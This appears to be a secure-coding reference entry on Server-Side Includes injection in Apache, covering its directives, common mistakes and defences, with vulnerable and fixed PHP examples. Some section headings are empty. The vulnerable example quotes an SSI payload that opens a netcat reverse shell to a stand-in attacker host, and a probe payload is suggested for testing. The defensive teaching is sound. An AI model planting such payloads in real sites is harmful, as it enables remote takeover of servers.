Server-Side Includes (SSI) Injection
Also Known As
TL;DR
Explanation
Server-Side Includes are an old templating mechanism, still enabled on many Apache deployments via the `Includes` option and `.shtml` files (or `AddType text/html .html` style configurations that route HTML through the SSI parser). Directives include `<!--#include virtual="..." -->` (file inclusion), `<!--#exec cmd="..." -->` (shell command execution, RCE-class), `<!--#exec cgi="..." -->` (CGI execution), `<!--#config ... -->` and `<!--#echo var="..." -->` (variable disclosure including environment variables). SSI injection happens when an application stores or reflects user input into a page parsed for SSI directives — a guest book, a comment system, a profile page — and the server executes the embedded directives at render time. Many engineers assume SSI is dead; in practice, legacy hosting setups, default Apache configurations on shared hosting, and overlooked `.htaccess` directives keep it alive. Defences: disable SSI globally unless required (`Options -Includes` and `Options -IncludesNOEXEC`), HTML-encode user input even in static-feeling pages, restrict SSI parsing to specific extensions and directories, and use `IncludesNOEXEC` to disable the dangerous `#exec` directive while keeping benign includes if they're truly needed.
How It's Exploited
Watch Out
Common Misconception
Why It Matters
Common Mistakes
- Enabling `Options +Includes` for a directory and forgetting it years later — SSI parses every page in that tree.
- HTML-encoding user input only in `<script>` and attribute contexts, leaving comments and text content vulnerable to `<!--#exec ... -->`.
- Trusting that `.html` files don't parse SSI — they do if `AddType text/html .html` and `AddOutputFilter INCLUDES .html` are set.
- Using `IncludesNOEXEC` and assuming all SSI risk is gone — `#include virtual` still allows file disclosure of CGI-executable paths.
- Filtering only `<script>` and `<iframe>` while letting `<!-- -->` comments through to the SSI parser.
Avoid When
- Modern Nginx / FPM-only stacks with no SSI filter — surface area is zero.
When To Use
- Auditing Apache deployments that serve `.shtml` files or have `AddOutputFilter INCLUDES` configured.
- Reviewing legacy applications hosted on shared hosting where SSI defaults are unclear.
- Penetration testing — submit `<!--#echo var="DATE_LOCAL" -->` in reflected fields as a quick probe.
Code Examples
// ❌ User input echoed into a page Apache parses for SSI directives
// File: /var/www/comments.shtml
// .htaccess: Options +Includes
// AddOutputFilter INCLUDES .shtml
<?php
foreach ($comments as $comment) {
echo "<div class='comment'>";
echo $comment['body']; // ⚠ Unencoded — SSI directives survive
echo "</div>";
}
// A comment of <!--#exec cmd="nc attacker 4444 -e /bin/sh" -->
// becomes a reverse shell when Apache's SSI filter parses the response.
// ✅ HTML-encode every user value AND disable SSI on directories that don't need it
// .htaccess (or vhost):
// Options -Includes -IncludesNOEXEC
// RemoveOutputFilter INCLUDES .html .shtml
<?php
foreach ($comments as $comment) {
echo "<div class='comment'>";
echo htmlspecialchars($comment['body'], ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "</div>";
}
// Defence in depth:
// 1. htmlspecialchars converts < > & " ' so SSI delimiters cannot survive output.
// 2. SSI is disabled at the server level so even if encoding fails, no directives execute.
// 3. The .shtml extension is blocked entirely on directories serving user-influenced pages.